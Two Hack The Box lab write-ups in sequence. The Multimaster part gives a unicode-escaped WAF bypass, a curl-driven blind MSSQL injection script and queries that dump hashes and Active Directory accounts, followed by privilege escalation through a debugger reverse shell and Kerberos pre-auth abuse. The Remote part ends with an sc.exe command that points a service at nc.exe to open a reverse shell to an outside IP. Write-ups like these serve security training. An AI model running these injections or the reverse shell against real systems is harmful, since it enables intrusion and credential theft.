Hack The Box - Multimaster Writeup

System Summary



Initial Enumeration


It is for sure an AD DC: enum4linux doesn't show anything but the MEGACORP domain name
No NULL session for SMB

Let's look at the webpage:

 There is form that we can use to search for colleagues


After some check with special characters we can find that % character exposes the full list of colleagues with information like email etc...:




We have to study better the query with BURP

There is something we can use for SQL Injection but if we try the standard ways, we find that there is a WAF blocking some combinations of characters that can be malicious:
  • it stops request thht contains ', #, SELECT, UNION, OR (and possibly other)   
Looking better (it took me long hours) we can find that UTF encoding can get past the WAF with a request like this:

The part in the red rectangle is the UTF representation of the following string min' OR 1=1 -- which is a pretty classic standard SQL Injection check
  • \u0027 stands for '
  • \u004f stands for O
  • \u0052 stads for R

SQL Injection - Database check

Now that we can bypass the WAF check, it comes the hard part: getting information from the SQL injection vulnerability.
After spending some time trying (unsuccessfully) standard techniques like UNION SELECT, I decided to follow a structured approach using the only thing that seems to work: the blind SQL injection using the ' OR technique.

First step is the identification of the database
With a shell script like the one below we can input a query and it encodes and send it to the


1
2
3
A=\{\"name\":\"$(echo -n "A' OR BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123) --" | xxd -u -i | tr -d '\n' |sed "s/0X/\\\u00/g" | tr -d ' '  | tr -d ',')\"\}

curl -v -H "Content-Type: application/json; charset=utf-8"  -X POST --data $A  http://10.10.10.179/api/getColleagues

Since it is a blind SQL injection we'll get different results:
  • null, if some syntax error occured
  • the full list of users, if the OR statement is satisfied

With the above query we can get the full list of users: this means that the backend database system is Microsoft SQL Server.


We can therefore use more detailed query to find database name:

OR ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>97
The above query checks if the first letter of the database is "A" (ASCII 97) or any other character above "A"

The query gets the current database name (db_name(0)), casts it to varchar, then it gets the first character with SUBSTRING and then gets the ASCII number.
After that it compares to 97 (ASCII number of "a" and use it as condition for the OR query.

If we get the full list of users it means that the condition > 97 is met and we know that the first letter of database name is "b", or "c", "d", etc...

By changing the > 97 condition we can find when the behavior of the reply changes.

Let's say that the reply for condition >98 result in a full list of user and the reply for > 99 the result is no list.

It means that the first character of the database name is C, because ASCII decimal for C is 99.

Next we can go on with the second character with this query (note the change in the 2 character taken by the SUBSTRING)

OR ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),2,1)),0)>97

With this approach and a bit of scripting we can find the database name: hub_db

SQL Injection - Tables name discovery

With a similar approach we can find the first character of the first table in the database:
ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) 
 FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN
(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
 AS varchar(8000)),1,1)),0)>97

As before, we can discover the ASCII code for the character by changing the condition > 97 and observing the output .

For example, using ASCII 107 we get a response with user list, while for ASCII 108 we get a valid response but without user list, we can say that the first character of the tables is ASCII 108 (letter l)

We then change the position in the substring from 1 to 2 to evaluate the second character
ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) 
 FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN
(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
 AS varchar(8000)),2,1)),0)>97

So we can find that the first table is named: logins

SQL Injection - Column name discovery

The approach for the columns is very similar: we just have to get data from syscolumns table:
The big difference here is that we have to query syscolumns with a condition where name='logins'
But we can't put the ' character directly in the query, so we can substitute the login string with it's representation: char(108)+char(111)+char(103)+char(105)+char(110)+char(115)
ISNULL(ASCII(SUBSTRING(CAST((SELECT name FROM syscolumns where id=(SELECT id FROM sysobjects where name=char(108)+char(111)+char(103)+char(105)+char(110)+char(115)) and colid=1) as varchar(8000)),1,1)),0)>97

In this query there are a few things to exaplain also:
  • char(108)+char(111)+char(103)+char(105)+char(110) represents the name of the table: logins
  • colid=1 indicates the first colum of the table ogin
  • 1 indicates the first character of the column id 
  • >97 the condition to execute the match needed for the Blind SQL
We can therefore find the column names of the table logins, which are:
  1. id
  2. username
  3. password

SQL Injection - Password Value discovery

The approach is just the same but we have to query logins using the id as a search key
Now we can use the query:

1
OR ISNULL(ASCII(SUBSTRING(CAST((SELECT password from logins where id=char(49))AS varchar(8000)),$1,1)),0)=$2


Where
  • char(49) represents the id of the user we're analyzing (49 ASCII is 1)
  • $1 is the position of the character in the password
  • $2 is the ASCII number of the character we're testing 

By automating the request trying with $1=1 and $2 = 48 (character0), then changing  $2=49, $2 = 50 etc... we can find the first letter of the password hash 
Then we have to change $1 = 2

In the automation we have to take care the fact that the WAF is also blocking clients that make too many connection, so a bit of sleep/wait in the script is needed
After  some work we can get some hashes (see table below)


SQL Injection - Usernames discovery

With a similar query as for the password we can discover usernames:

1
OR ISNULL(ASCII(SUBSTRING(CAST((SELECT username from logins where id=char(49))AS varchar(8000)),$1,1)),0)=$2


The result for this is the following tables:


ID USERNAME HASH
1 sbauer 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
2 okent fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
3 ckane 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
4 kpage 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
5 shayna 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
6 james 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
7 cyork 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
8 rmartin fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
9 zac 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
10 jorden 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
11 alyx fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
12 ilee 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
13 nbourne fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
14 zpowers 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
15 aldom 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
16 minatotw cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc
17 egre55 cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc


We find that there are 4 unique hashes that are 384 bit long
Three of them are easily cracked with hashcat using

  • KECCAK384 mode (-m 17900)
  • rockyou wordlist


The three passwords are:

  • password1
  • finance1
  • banking1
But they don't work for any of the users in the table.
A simple loop of smbclient (or other) shows that

Well, infact web username might not be the same usernames in Active directory...


SQL Injection - SQL Server Usernames discovery

I believe that now the idea of Blind SQL Injection is clear, so let's use the same approach to discover the  domain name (we already have it by enum4linux, but better safe then sorry.
The query is this one

OR ISNULL(ASCII(SUBSTRING(CAST((SELECT DEFAULT_DOMAIN() as mydomain) AS varchar(8000)),$1,1)),0)>$2

It shows (as expected): MEGACORP

Next there are a few things to discover as explained in this article: https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/

Active Directory RID Discovery

The first step is to get the RID of a known group in Active directory, like the "domain users"
The approach and the query is very similar

OR ISNULL((SUBSTRING((SELECT SUSER_SID(char(77)+char(69)+char(71)+char(65)+char(67)+char(79)+char(82)+char(80)+char(92)+char(100)+char(111)+char(109)+char(97)+char(105)+char(110)+char(32)+char(117)+char(115)+char(101)+char(114)+char(115))),$1,1)),0)=$2

The expected result is a hex sequence of 56 character like

0x0105000000000005150000001c00d1bcd181f1492bdfc23601020000

This value is the SID of the group "MEGACORP\Domain users).

Removing the last 8 character (so keeping the initial 48 character we get the RID of the Domain
0x0105000000000005150000001c00d1bcd181f1492bdfc236


Once we have it we can construct the SID of other users.
The first user is usually administrator that starts from decimal 500 (0x1f4).
Then we have to swap the bytes to 0xf401, append to the RID and add padding the reach the 56 character length

0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000

Then we can do exploration for users 501, 502, 503, etc..
0x0105000000000005150000001c00d1bcd181f1492bdfc236f5010000
0x0105000000000005150000001c00d1bcd181f1492bdfc236f6010000
0x0105000000000005150000001c00d1bcd181f1492bdfc236f7010000

We can discover that existing SIDs are:

  • 500 - 503
  • 512 - 522
  • 525 - 537
  • 553 (0x2902)
  • 571-572 (03b02 - 0x3c02)
  • 1000 (0xe803)
  • 1101,1102,1103,1105,1110,1111,1112

Some SIDs are well known as explained here: https://support.microsoft.com/en-au/help/243330/well-known-security-identifiers-in-windows-operating-systems

And also, the first object created by a domain admin start with 1001
So we might use the query SELECT SUSER_SNAME() and the corresponding SQL injection

OR ISNULL(ASCII(SUBSTRING(CAST((SELECT SUSER_SNAME(0x0105....236XXXX0000)) AS varchar(8000)),$1,1)),0)>$2

to discover the usernames where XXXX is the hex value of the SID with byte swapped (500 = f401, 501= f501, ..)

BY using the query above we can discover the following user:

1101 - MEGACORP\DnsAdministrators
1102 - MEGACORP\DnsUpdateProxy
1103 - MEGACORP\svc-nas
1105 - MEGACORP\Privileged IT Accounts
1110 - MEGACORP\tushikikatomo
1111 - MEGACORP\andrew
1112 - MEGACORP\lana

With some automation we can find that user tushikikatomo and password finance1 are working!


Then look with rpcclient and we get this users:

Initial Foothold & User Flag (user 1 - tushikikatomo)

User tushikikatomo is able to login with Evil-WinRM and there's the flag in its home




Further enumeration and escalation (User 2 - cyork)

With the inital shell we can see that there is a visual studio code installed and it's running the debugger.
There's a great tool that can be used: https://github.com/taviso/cefdebug
This tool can be used without parameter to find the debugger listening on localhost
And it can also run with some parameter to inject code

Below

  • in the upper window we can setup a netcat listener 
  • in the lower window the cefdebug run to find the debugger listening ports and the inject of a nc.exe reverse shell  



We also see thhat there is an autologon.exe in the home, so we can try o
We're in we can see there's a scheduled task that start vscode as user cyork

Further enumeration and escalation (User 3 - sbauer)

Once inside as cyork we still can't get in Development folder but we can enter the IIS c:\inetpub

Inside a subfolder we can find two files named MultimasterAPI.dll and Multimaster.pdb

Decompiling the DLL with dnSpy we can see hard coded the connection string to the MS SQL database with

  • user finder
  • Password: D3veL0pM3nT!



Trying this password, we can get a succesful login as user sbauer (credential reuse)

She doesn't have access to that Development share, but she can run Bloodhound

Further enumeration and escalation (User 4 - jorden)

The bloodhound result is 


 

The user on the left is sbauer that can do a generic write to jorden user (user on the right)
So we can try different things: one of them is successful: disabling Kerberos pre auth with the command:


And from outside we can use a standard impacket script GetNPUser.py to get a TGT for jorden to kerberos



We can give this output to hashcat (-m 18200) and in a few seconds we can decrypt it:

 So user jorden has password: rainforest786


Root Flag


Now we're user jorden and we're also member of Server Operators and we have additional privileges.
We're not able to change AD groups or users, but we can:

  • shutdown the system
  • Change date time and timezone
  • Backup and restore files: every file in the system!


So an easy way to steal the root flag is to user robocopy with /ZB o /B flag (that use backup method to access retrieve file) and copy the flag to somewhere we have write access (i.e. a share on our computer:




Hack The Box - Remote Writeup

System Summary


Initial Enumeration


It's a Windows Box, but enum4linux and smbclient don't show any valuable content without authentication.

Nmap shows a couple of extra services that looks interesting (ftp and nfs)

The main webpage shows

In the "People" page there are 5 employees that might be used to do some bruteforcing.

But let's see if we can do something with ftp or nfs

FTP accept anonymous access but with no upload:

Let's see the NFS shares list:

And let's try to mount them


But unfortunately we have no write access to it.
Looking around there is a file "Umbraco.sdf" in "App_Data" folder that has some interesting strings in it:


We have some hashes


And we also know that a user is ssmith: there is no such people in the employee page.
But we can infere that user schema probably is initial of first name + lastname

The first hash (SHA1) is easily cracked and reveals a possible password: baconandcheese
T


Initial Foothold and User Flag



So next step is to try to use this information to get some kind of access.
It happens that the Umbraco CMS that is running the website can be accessed with these:

  • Username: admin@htb.local
  • password: baconandcheese


Umbraco version is 7.12.4 and it's prone to an RCE for authenticated users: https://www.exploit-db.com/exploits/46153
So we can execute arbitrary commands:


And use it to get a better access.
I chose to use mshta with metasploit to make it easy and got access:

Root Flag


Uploading netcat and winpeas we can discover that we can modify the service UsoSVC and start it:


So the trick should be this:

  • upload nc.exe somewhere (e.g. c:\tmp)
  • Reconfigure the UsoSvc service using the command
    • sc.exe config usosvc binPath="c:\tmp\nc.exe 10.10.16.78 5555 -e c:\windows\system32\cmd.exe"
  • Running the server UsoSvc
    • sc.exe start usosvc
  • Wait for the shell connect back


We got the shell back and quickly go in c:\users\administrator\Desktop and get the flag

Quickly because the shell is staying alive until someone else reconfigure the service and starts it again.
On the free servers it can happen very frequently